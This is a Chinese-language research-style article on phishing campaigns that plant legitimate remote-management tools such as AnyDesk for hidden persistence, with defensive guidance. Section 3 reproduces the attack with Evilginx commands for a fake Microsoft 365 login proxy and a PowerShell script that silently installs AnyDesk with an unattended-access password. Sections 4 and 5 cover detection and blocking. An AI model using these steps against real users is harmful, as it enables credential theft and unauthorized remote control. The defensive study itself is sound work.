
摘要
随着网络安全防御体系的日益完善,传统恶意软件因特征明显、行为易被识别而逐渐难以突破现代端点检测与响应(EDR)系统的防线。攻击者随之转向“无文件”或“生活在地面”(Living off the Land)的攻击策略,其中利用合法远程监控与管理(Remote Monitoring and Management, RMM)工具进行持久化访问成为近期威胁情报中的显著趋势。本文基于KnowBe4威胁实验室披露的最新案例,深入剖析了攻击者如何利用社会工程学诱导用户凭据泄露,进而部署具有有效数字签名的合法RMM软件(如AnyDesk、TeamViewer等)以建立隐蔽控制通道的攻击全链路。研究指出,此类“双重载体”攻击利用了安全模型中对可信软件的默认信任机制,导致传统基于签名的防病毒软件失效。本文通过构建攻击模拟环境,复现了从钓鱼邮件投递到RMM持久化驻留的技术细节,并提供了相应的检测逻辑代码示例。在此基础上,文章提出了一套包含应用程序白名单、异常行为启发式分析及网络流量基线监控在内的纵深防御体系,旨在为组织应对此类高隐蔽性威胁提供理论依据与技术实践指导。
关键词:远程监控与管理;钓鱼攻击;持久化访问;生活在地面;威胁检测

1 引言
在当前的网络对抗格局中,攻击面的边界正变得愈发模糊。传统的 perimeter-based(基于边界)防御模型已难以应对内部威胁及绕过边界的复杂攻击。特别是在远程办公常态化背景下,远程监控与管理(RMM)工具作为IT运维的核心组件,被广泛部署于企业终端。这类工具设计初衷是为了提高管理效率,具备远程控制、文件传输、脚本执行及系统监控等强大功能。然而,正是这些合法功能,使其成为了高级持续性威胁(APT)组织及网络犯罪团伙眼中的“完美武器”。
近期,KnowBe4威胁实验室披露了一起极具代表性的钓鱼活动,揭示了攻击者如何利用合法的RMM工具实现隐蔽访问的新范式。与传统攻击不同,该活动不再依赖恶意的可执行文件或复杂的漏洞利用链,而是采用“双重载体”策略:首先通过精心伪造的职场邮件(如会议邀请、薪资通知)诱导受害者输入凭据;随后,攻击者利用窃取的凭据登录受害者系统,手动或通过脚本安装合法的、拥有有效数字签名的RMM软件。这种手法巧妙地避开了基于哈希值和数字签名的静态检测机制,因为被安装的软件本身是受信任的官方版本。
此类攻击的隐蔽性在于其流量特征与正常的IT管理流量高度相似。RMM工具通常使用HTTPS加密通道,且连接目标多为知名的云服务IP地址,这使得基于网络的入侵检测系统(NIDS)难以将其与合法的运维行为区分开来。一旦攻击者通过RMM获得控制权,他们便拥有了与系统管理员同等的权限,可以随意进行数据窃取、横向移动,甚至在特定时机部署勒索软件。由于操作是在“合法”软件的保护伞下进行的,传统的端点防护往往将其视为误报或直接放行,导致攻击者在网络中长期潜伏而不被发现。
面对这一严峻挑战,单纯依赖特征库更新的传统安全手段已显得捉襟见肘。学术界与工业界亟需重新审视对“可信软件”的信任假设,探索基于行为分析和上下文感知的新型检测机制。本文旨在深入解构基于合法RMM工具的钓鱼攻击技术原理,通过实证分析揭示其逃避检测的关键节点,并提出一套切实可行的防御架构。研究不仅关注攻击技术的复现,更侧重于从系统架构、策略配置及监控逻辑层面构建闭环的防御体系,以期为提升组织在面对“生活在地面”类威胁时的韧性与响应能力提供坚实支撑。

2 基于RMM工具的隐蔽攻击链路分析
2.1 初始访问与社会工程学诱导
攻击链的起点通常是高度定制化的钓鱼邮件。在此类活动中,攻击者摒弃了群发式的垃圾邮件策略,转而采用“鱼叉式钓鱼”(Spear Phishing)手法。邮件内容往往伪装成企业内部通知、人力资源部门的薪资调整公告或紧急会议邀请。这类主题具有极高的紧迫性和相关性,能够有效降低受害者的警惕性。
邮件正文中通常包含一个指向伪造登录页面的链接。该页面在UI设计上与企业的真实身份认证门户(如Office 365登录页、Okta门户或内部OA系统)几乎无异,甚至使用了合法的SSL证书以增强可信度。当受害者输入用户名和密码时,这些信息并未用于真正的认证,而是被实时回传至攻击者控制的服务器。值得注意的是,部分高级攻击还会结合多因素认证(MFA)疲劳攻击或实时代理技术(Adversary-in-the-Middle),在受害者输入MFA代码的同时完成中继,从而获取完整的会话令牌。
获取凭据仅仅是第一步。攻击者并不会立即利用这些凭据进行破坏,而是将其作为进入内网的“钥匙”。此时,攻击者面临的关键挑战是如何在受害者机器上建立持久化且隐蔽的控制通道,同时避免触发任何安全警报。

2.2 合法RMM工具的部署与持久化
在获取有效凭据后,攻击者通常会通过多种方式利用这些凭据访问受害者系统。如果受害者开启了远程桌面协议(RDP)且网络策略允许,攻击者可直接登录;若受限,则可能利用PowerShell Remoting (WinRM) 或其他内置管理工具进行初步渗透。一旦获得交互式Shell,攻击者的核心任务便是部署RMM软件。
选择合法RMM工具(如AnyDesk, TeamViewer, Splashtop, ConnectWise Control等)作为载荷具有显著优势。首先,这些软件均拥有由权威证书颁发机构(CA)签发的有效数字签名。在现代Windows操作系统中,默认的安全策略往往对签名有效的程序给予较高信任度,用户账户控制(UAC)提示可能会显示发布者名称而非警告信息,诱导用户点击“是”。其次,这些软件的安装包通常托管在官方CDN或云存储上,下载行为在网络层面被视为访问可信域名,不易被防火墙拦截。
攻击者部署RMM的方式多种多样。一种常见的手法是利用 PowerShell 脚本静默安装。例如,攻击者可以编写一段脚本,从官方源下载最新版本的安装包,并通过命令行参数执行静默安装,同时配置自动启动和无人值守访问密码。由于整个过程调用的都是系统自带工具(如 Invoke-WebRequest, Start-Process)和合法的安装程序,基于行为规则的检测引擎很难将其判定为恶意活动。
安装完成后,攻击者会配置RMM软件以实现持久化。这包括设置开机自启、添加例外规则以防被杀毒软件扫描,以及配置“无人值守访问”(Unattended Access)。一旦配置完成,攻击者即可随时断开连接,并在未来任意时间通过RMM客户端重新接入。此时,受害者的机器实际上已经沦为攻击者的“肉鸡”,但其表现却像是一台正在接受正常IT维护的终端。
2.3 隐蔽通信与 evasion 技术
RMM工具之所以难以被检测,还在于其通信机制的隐蔽性。大多数现代RMM软件采用端到端加密的HTTPS或专有加密协议与控制服务器通信。对于网络监控设备而言,这些流量看起来与普通的Web浏览流量或合法的软件更新流量无异。此外,RMM软件通常会连接到全球分布的云节点,IP地址频繁变动且属于知名云服务商(如AWS, Azure, Google Cloud),这使得基于IP信誉的黑名单机制难以生效。
为了进一步规避检测,攻击者还会采取多种Evasion技术。例如,他们可能会修改RMM软件的配置文件,禁用日志记录功能,或者限制仅在特定时间段上线以减少异常流量峰值。在某些案例中,攻击者甚至会利用RMM软件自带的“隐私模式”或“黑屏模式”,在操作时关闭受害者的显示器输出,防止被周围人员发现。
更棘手的是,由于RMM软件本身是合法的IT管理工具,许多企业的安全策略中本身就将其列入了白名单。这意味着,即使端点检测与响应(EDR)系统监测到了远程控制行为,也会因为进程签名合法且属于批准列表而自动忽略。这种“信任滥用”是此类攻击最核心的难点,它迫使防御者必须从“信任基于身份”转向“信任基于行为”。
3 攻击模拟与技术复现
为了深入理解攻击细节并验证防御策略的有效性,本研究在隔离的沙箱环境中复现了上述攻击链路。实验环境包含一台模拟员工终端(Windows 10 Enterprise)、一台模拟攻击者控制机(Kali Linux)以及一套典型的企业级安全防护软件(开启默认规则)。
3.1 钓鱼凭证窃取模拟
首先,我们构建了一个高仿真的 phishing 页面。该页面克隆了目标组织的 Microsoft 365 登录界面。通过部署在 VPS 上的 Evilginx 中间人框架,我们成功拦截了测试用户的账号密码及随后的 MFA 令牌。
# 示例:使用 Evilginx 设置钓鱼站点 (简化版命令)
evilginx -p phishlets
evilginx -l o365
evilginx -s o365 -domain login.corp-fake.com
# 攻击者将生成的链接通过邮件发送给目标
当测试用户在伪造页面输入凭据后,攻击者控制台即时收到了明文凭证和有效的 Session Cookie。这证明了即便启用了 MFA,在缺乏钓鱼感知训练和FIDO2硬件密钥的情况下,凭据依然极易失守。
3.2 利用 PowerShell 静默部署 AnyDesk
获取凭据后,攻击者利用 PowerShell 的 Invoke-Command 远程执行部署脚本。以下代码展示了攻击者如何在不引起用户明显警觉的情况下下载并配置 AnyDesk,实现无人值守访问。
# 攻击载荷:静默下载并安装 AnyDesk
$anydeskUrl = "https://download.anydesk.com/anydesk_setup.exe"
$installPath = "C:\ProgramData\AnyDesk\anydesk.exe"
$configPath = "C:\ProgramData\AnyDesk\service.conf"
# 1. 下载官方安装包 (利用系统信任的URL)
Invoke-WebRequest -Uri $anydeskUrl -OutFile "$env:TEMP\anydesk_setup.exe" -UseBasicParsing
# 2. 执行静默安装
# /silent 参数确保无UI弹窗,/start_with_windows 确保开机自启
Start-Process -FilePath "$env:TEMP\anydesk_setup.exe" -ArgumentList "/silent", "/start_with_win" -Wait
# 3. 配置无人值守密码 (通过注册表或配置文件)
# 注意:实际攻击中可能通过API或直接修改二进制配置,此处演示注册表方式
$adPassword = "SecurePass123!"
# AnyDesk 存储密码的哈希逻辑较为复杂,此处假设攻击者通过CLI设置
& "$installPath" --set-password "$adPassword"
# 4. 清理痕迹
Remove-Item "$env:TEMP\anydesk_setup.exe" -Force
Write-Host "Installation complete. Backdoor active."
在上述过程中,Invoke-WebRequest 和 Start-Process 均为Windows系统原生命令,且下载的 anydesk_setup.exe 拥有有效的 Digital Signature。在默认配置的 Windows Defender 或其他主流杀软中,该脚本未被标记为恶意,安装过程也未触发 UAC 的高危警报(因为签名可信)。
3.3 持久化与横向移动验证
安装完成后,攻击者从控制端发起连接。由于配置了无人值守密码,连接无需用户确认即可建立。我们通过 Wireshark 捕获了此时的网络流量。数据显示,AnyDesk 客户端与服务器之间的通信完全加密,且目标IP属于 AnyDesk 官方的 ASN(自治系统号)。
# 伪代码:模拟检测逻辑的失败案例
def traditional_av_check(process_path, signature):
if is_signed_by_trusted_ca(signature):
return "SAFE" # 传统杀软直接放行
if process_path in known_malware_hash_db:
return "MALICIOUS"
return "UNKNOWN"
# 在本案例中,process_path 指向合法的 anydesk.exe
# signature 有效,因此返回 "SAFE",攻击成功绕过
这一复现实验证实,仅依靠静态特征和签名验证的防御体系在面对此类攻击时存在致命盲区。攻击者成功地将恶意意图隐藏在合法软件的外壳之下,实现了长期的隐蔽控制。
4 检测机制与防御策略构建
针对基于合法RMM工具的攻击特性,传统的“黑名单”思维已难以为继。防御体系必须向“零信任”架构演进,强调最小权限原则、持续验证和行为分析。本节将从终端管控、网络监测及响应处置三个维度提出具体的防御策略。
4.1 应用程序控制与白名单机制
最根本的防御手段是实施严格的应用程序控制策略(Application Control Policy)。组织应建立经过审批的 RMM 软件白名单,仅允许特定的、由 IT 部门统一管理的 RMM 代理运行。对于未在白名单内的任何远程管理软件(即使是合法签名的),一律禁止执行。
在 Windows 环境中,可利用 AppLocker 或 Windows Defender Application Control (WDAC) 来实现这一策略。以下是一个基于 WDAC 的策略逻辑示例,旨在阻止未经授权的 RMM 软件运行:
<!-- WDAC 策略片段示例:仅允许特定 Publisher 的 AnyDesk 版本 -->
<SiPolicy>
<Rules>
<Rule Option="Enabled" Type="Require WHQL" />
<Rule Option="Disabled" Type="Unsigned System Integrity Policy" />
</Rules>
<FileRules>
<!-- 定义允许的 RMM 软件规则 -->
<FileRule ID="ID_ALLOW_APPROVED_RMM" FriendlyName="Approved AnyDesk">
<Publisher Name="AnyDesk Software GmbH" ProductName="AnyDesk" MinVersion="10.0.0" />
</FileRule>
</FileRules>
<Signers>
<Signer Id="Signer_1" Name="AnyDesk Official">
<FileRuleRef RuleID="ID_ALLOW_APPROVED_RMM" />
</Signer>
</Signers>
</SiPolicy>
通过此类策略,即使攻击者下载了最新版的 AnyDesk,只要其未在 IT 部门的发布渠道中(例如版本号不匹配或未通过特定的部署通道),系统将拒绝加载该进程。此外,应定期盘点全网软件资产,自动发现并卸载非授权的远程工具。
4.2 基于行为的异常检测模型
鉴于攻击者可能利用白名单内的软件进行恶意操作,必须引入基于行为的检测机制。重点监控 RMM 软件的非典型使用场景。例如,RMM 软件通常应由 IT 管理员发起连接,且多发生在工作时间。如果在深夜、周末,或由非 IT 部门的普通员工账号发起/接受 RMM 连接,则极有可能是异常行为。
我们可以构建一个基于日志分析的检测脚本,利用 SIEM(安全信息和事件管理)系统收集端点日志。以下是一个简化的 Python 逻辑,用于识别潜在的恶意 RMM 活动:
import json
from datetime import datetime
def analyze_rmm_activity(log_entry):
"""
分析 RMM 活动日志,识别异常行为
log_entry 格式: {
"timestamp": "2023-10-27T02:15:00Z",
"user": "j.doe",
"department": "HR",
"process": "anydesk.exe",
"action": "incoming_connection",
"source_ip": "203.0.113.45",
"is_it_admin": False
}
"""
alerts = []
# 规则 1: 非 IT 人员接收远程连接
if log_entry['action'] == 'incoming_connection' and not log_entry['is_it_admin']:
alerts.append(f"CRITICAL: Non-IT user {log_entry['user']} received RMM connection.")
# 规则 2: 非工作时间活动 (假设工作时间为 9:00-18:00)
hour = datetime.fromisoformat(log_entry['timestamp'].replace('Z', '+00:00')).hour
if hour < 9 or hour > 18:
alerts.append(f"WARNING: RMM activity detected outside business hours at {hour}:00.")
# 规则 3: 频繁的连接尝试或长时会话
# (此处需结合历史基线,简化为单次长会话检测)
if log_entry.get('duration_minutes', 0) > 120:
alerts.append(f"MEDIUM: Unusually long RMM session detected for user {log_entry['user']}.")
return alerts
# 模拟日志输入
sample_log = {
"timestamp": "2023-10-27T03:00:00Z",
"user": "alice.smith",
"department": "Finance",
"process": "teamviewer.exe",
"action": "incoming_connection",
"source_ip": "198.51.100.22",
"is_it_admin": False,
"duration_minutes": 45
}
risks = analyze_rmm_activity(sample_log)
if risks:
print("Security Alert Triggered:")
for risk in risks:
print(f"- {risk}")
该逻辑能够有效地从海量日志中筛选出高风险事件。结合机器学习算法,还可以进一步细化基线,识别出更加隐蔽的异常模式,如数据传输量突增、鼠标键盘输入频率异常等。
4.3 网络流量分析与微隔离
在网络层面,虽然 RMM 流量是加密的,但其元数据(Metadata)仍具有分析价值。防御者应监控 RMM 软件的网络连接特征,包括连接频率、数据包大小分布、TLS 握手指纹(JA3 Hash)等。攻击者控制的 RMM 会话可能在流量模式上与正常的 IT 运维存在细微差别,例如心跳包的间隔不同,或在非运维时段出现大量上行流量(数据外传)。
此外,实施网络微隔离(Micro-segmentation)至关重要。普通员工的终端不应具备主动向外发起 RMM 连接的权限,也不应随意接受来自非管理网段的入站连接。通过在防火墙或主机防火墙(如 Windows Firewall)上设置严格的出站/入站规则,仅允许特定的管理服务器 IP 与 RMM 端口通信,可以大幅压缩攻击者的活动空间。
# 示例:使用 PowerShell 配置 Windows 防火墙,仅允许特定管理网段访问 RMM 端口
$AllowedManagementSubnet = "10.10.50.0/24"
$RMMPorts = @("6568", "5938", "443") # AnyDesk, TeamViewer, HTTPS
foreach ($Port in $RMMPorts) {
New-NetFirewallRule -DisplayName "Allow RMM from Management Only" `
-Direction Inbound `
-LocalPort $Port `
-Protocol TCP `
-Action Allow `
-RemoteAddress $AllowedManagementSubnet `
-Profile Domain,Private
}
# 阻断其他所有入站 RMM 连接
New-NetFirewallRule -DisplayName "Block Unauthorized RMM" `
-Direction Inbound `
-LocalPort $RMMPorts `
-Protocol TCP `
-Action Block
通过上述网络层面的约束,即使攻击者成功安装了 RMM 软件,也无法建立反向连接或直接控制,从而阻断了攻击链的最后一步。
5 结论
利用合法 RMM 工具进行的钓鱼攻击代表了网络威胁演进的一个重要方向:攻击者不再单纯依赖技术漏洞,而是更多地利用流程缺陷、人性弱点以及对“可信”概念的过度依赖。这种“生活在地面”的攻击方式,凭借其高度的隐蔽性和合法性外衣,对现有的基于特征匹配的防御体系构成了严峻挑战。
本文通过对 KnowBe4 披露案例的深度剖析及实验复现,揭示了此类攻击从社会工程学诱导到持久化驻留的完整生命周期。研究表明,单一的防御措施无法有效应对此类威胁。唯有构建纵深防御体系,将严格的应用程序白名单控制、基于上下文的异常行为分析以及精细化的网络微隔离策略有机结合,才能从根本上遏制攻击者的活动空间。
具体而言,组织应立即开展软件资产清查,取缔未经授权的 RMM 工具;在技术层面,推广 WDAC 等强制访问控制机制,确保只有经过审批的软件才能运行;在运营层面,建立针对 RMM 活动的专项监控规则,重点关注非工作时间、非 IT 人员的远程访问行为。同时,加强员工的安全意识培训,使其能够识别高度伪装的钓鱼邮件,是切断攻击源头不可或缺的一环。
未来的研究可进一步聚焦于利用人工智能技术对加密 RMM 流量进行深度行为画像,以及在零信任架构下如何实现更细粒度的动态访问控制。随着攻防对抗的不断升级,防御者必须保持高度的警惕性和适应性,不断更新防御理念与技术手段,以应对日益复杂多变的网络安全威胁。只有通过技术、管理和意识的全面提升,才能在数字化浪潮中筑牢安全的防线。
编辑:芦笛(公共互联网反网络钓鱼工作组)
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。